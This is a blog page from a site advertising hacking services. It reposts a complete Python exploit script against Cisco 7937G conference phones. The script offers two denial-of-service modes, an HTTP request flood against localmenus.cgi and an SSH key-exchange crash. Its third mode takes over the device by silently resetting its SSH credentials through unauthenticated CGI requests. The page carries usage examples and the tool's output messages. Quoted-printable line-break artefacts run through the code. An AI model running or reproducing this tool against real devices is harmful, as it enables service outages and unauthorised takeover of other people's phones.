Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375123

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Cisco 7937G 1-4-5-7 - DoS/Privilege Escalation
# Date: 2020-08-10
# Exploit Author: Cody Martin
# Vendor Homepage: https://cisco.com
# Version: <=SIP-1-4-5-7
# Tested On: SIP-1-4-5-5, SIP-1-4-5-7
#!/usr/bin/python

import sys
import getopt
import requests
import paramiko
import socket
import os


def main(argv):
    target = ""
    attack = ""
    username = ""
    password = ""
    divider = "====================
==========================
="

    help_text = '''
exploit.py -t/--target ip-address-of-target -a/--attack attack-type [-u/--u=
ser username -p/--password password]
%s
Example: exploit.py -t 192.168.1.200 -a 1
Example: exploit.py --target 192.168.1.200 --attack 3 --user bob --password=
 villa
%s
Attack types:
1: DoS with automatic device reset
2: DoS without automatic device reset
3: Change SSH credentials of target device
''' % (divider, divider)

    if len(sys.argv) == 1:
        print(help_text)
        sys.exit(2)
    try:
        opts, args = getopt.getopt(argv, "ht:a:u:p:", ["help", "target==
", "attack=", "user=", "password="])
    except getopt.GetoptError:
        print(help_text)
        sys.exit(2)
    for opt, arg in opts:
        if opt == "-h":
            print(help_text)
            sys.exit()
        elif opt in ("-t", "--target"):
            target = arg
        elif opt in ("-a", "--attack"):
            attack = arg
        elif opt in ("-u", "--user"):
            username = arg
        elif opt in ("-p", "--password"):
            password = arg

    if username != "" and password != "" and attack == "3":
        print("Starting SSH attack!")
        print(divider)
        print("Target: ", target, "\nAttack: ", attack, "\nUser: ", usernam=
e, "\nPassword: ", password)
        finished = attack_ssh(target, username, password)
    elif attack == "1":
        print("Starting DoS reset attack!")
        print(divider)
        print("Target: ", target, "\nAttack: ", attack)
        finished = dos_one(target)
    elif attack == "2":
        print("Starting DoS non-reset attack!")
        print(divider)
        print("Target: ", target, "\nAttack: ", attack)
        finished = dos_two(target)

    print(divider)

    if finished == 1:
        print("DoS reset attack completed!")
    elif finished == 2:
        print("DoS non-reset attack completed!")
        print("Device must be power cycled to restore functionality.")
    elif finished == 3:
        tell = "SSH attack finished!\nTry to login using the supplied cre=
dentials %s:%s" % (username, password)
        connection_example = "ssh -oKexAlgorithms=+diffie-hellman-group=
1-sha1 %s@%s" % (username, target)
        print(tell)
        print("You must specify the key exchange when connecting or the dev=
ice will be DoS'd!")
        print(connection_example)
    elif finished == 0:
        print("Something strange happened. Attack likely unsuccessful.")
    sys.exit()


def dos_one(target):
    url = "http://%s/localmenus.cgi" % target
    data = "A"*46
    payload = {"func": "609", "data": data, "rphl": "1"}
    print("FIRING ZE MIZZLES!")
    for i in range(1000):
        try:
            r = requests.post(url=url, params=payload, timeout=5)
            if r.status_code != 200:
                print("Device doesn't appear to be functioning or web acces=
s is not enabled.")
                sys.exit()
        except requests.exceptions.RequestException:
            return 1

    return 0


def dos_two(target):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(15)
    try:
        sock.connect((target, 22))
    except OSError:
        print("Device doesn't appear to be functioning (already DoS'd?) or =
SSH is not enabled.")
        sys.exit()

    transport = paramiko.Transport(sock=sock, disabled_algorithms={"k=
ex": ["diffie-hellman-group-exchange-sha1",
                                                                           =
"diffie-hellman-group14-sha1",
                                                                           =
"diffie-hellman-group1-sha1"]})

    fd = os.open("/dev/null", os.O_WRONLY)
    savefd = os.dup(2)
    os.dup2(fd, 2)

    try:
        transport.connect(username="notreal", password="notreal")
    except (paramiko.ssh_exception.SSHException, OSError, paramiko.SSHExcep=
tion):
        os.dup2(savefd, 2)
        return 2

    return 0


def attack_ssh(target, username, password):
    url = "http://%s/localmenus.cgi" % target
    payload_user = {"func": "403", "set": "401", "name1": username, "name=
2": username}
    payload_pass = {"func": "403", "set": "402", "pwd1": password, "pwd2"=
: password}
    print("FIRING ZE MIZZLES!")
    try:
        r = requests.post(url=url, params=payload_user, timeout=5)
        if r.status_code != 200:
            print("Device doesn't appear to be functioning or web access is=
 not enabled.")
            sys.exit()

        r = requests.post(url=url, params=payload_pass, timeout=5)
        if r.status_code != 200:
            print("Device doesn't appear to be functioning or web access is=
 not enabled.")
            sys.exit()
    except requests.exceptions.RequestException:
        print("Device doesn't appear to be functioning or web access is not=
 enabled.")
        sys.exit()

    return 3


if __name__ == "__main__":
    main(sys.argv[1:])